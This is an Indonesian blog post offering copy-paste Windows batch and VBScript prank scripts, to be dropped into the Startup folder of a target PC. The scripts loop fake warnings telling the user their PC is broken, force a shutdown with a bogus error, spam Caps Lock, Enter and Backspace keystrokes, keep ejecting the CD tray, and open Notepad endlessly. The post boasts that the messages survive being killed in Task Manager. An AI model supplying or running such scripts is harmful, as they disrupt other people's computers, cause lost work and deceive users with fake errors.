- Open notepad lalu 'copas' script d bawah
- File jadi'y cukup d taro d startUp nanti'y...
- Bikin message yang nongol terus-terusan...
Spoiler: |
| @ECHO off :Begin msg * -WARNING- msg * Sorry PC lo kaya'y ngaco.... msg * Udah install ulang aja..... msg * Biar masalah nya kelar.... msg * Wkwkwkwkwkkkkkkkk.... GOTO BEGIN |
save namafile ( .BAT )
- Kejadian yg udah2 biar katA d kill d task manager, masih tetep ja nongol ntu message
- Kata2 yg d kasih warna merah d spoiler bisa d ganti sesuai selera...
- Bikin Shutdown trus da Message'y...
Spoiler: |
| @ECHO off msg * -=WARNING=- shutdown -s -c "Error !!!" |
save namafile ( .BAT )
- Kata2 yg d kasih warna merah d spoiler bisa d ganti sesuai selera...
- Maenin Caps Lock...
Spoiler: |
| Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop |
save namafile ( .vbs )
- Maenin CD/DVD biar buka tutup mulu...
Spoiler: |
| Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop |
save namafile ( .vbs )
- Bikin vbscript nongol mlulu...
Spoiler: |
| Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop |
save namafile ( .vbs )
- Kejadian yg udah2 d task manager jd full wscript yg lg running
- Bikin tombol Backspace neken mlulu...
Spoiler: |
| MsgBox "kembali ke menu sebelumnya" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop |
save namafile ( .vbs )
- Bikin otomatis ngetik "Erorr!!!" di notepad/word...
Spoiler: |
| Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Erorr!!!" loop |
save namafile ( .vbs )
- Bikin supaya buka notepad mlulu...
Spoiler: |
| @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top |
save namafile ( .BAT )
- Ati2 cz ni script klo mnurut ane pling ngeselin bgt....
- Klo mw yg kluar bkn notepad tinggal rubah ja DIR'y....
- Bikin supaya setiap buka notepad otomatis ngetik apa yg ente mau...
Spoiler: |
| WScript.Sleep 1800 WScript.Sleep 100 Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 10 WshShell.AppActivate "Notepad" WScript.Sleep 50 WshShell.SendKeys "E" WScript.Sleep 50 WshShell.SendKeys "R" WScript.Sleep 50 WshShell.SendKeys "O" WScript.Sleep 50 WshShell.SendKeys "R " WScript.Sleep 50 WshShell.SendKeys "R " WScript.Sleep 50 WshShell.SendKeys "!" WScript.Sleep 50 WshShell.SendKeys "!" WScript.Sleep 50 WshShell.SendKeys "!"
|
save namafile ( .vbs )
Mohon maaf sebelum'y kLo script ini dah BASI.... Ni cuma buat ngingetin ane yg pelupa....
_______________________
~ Credit To : -Masih CupU-~
0 komentar:
Posting Komentar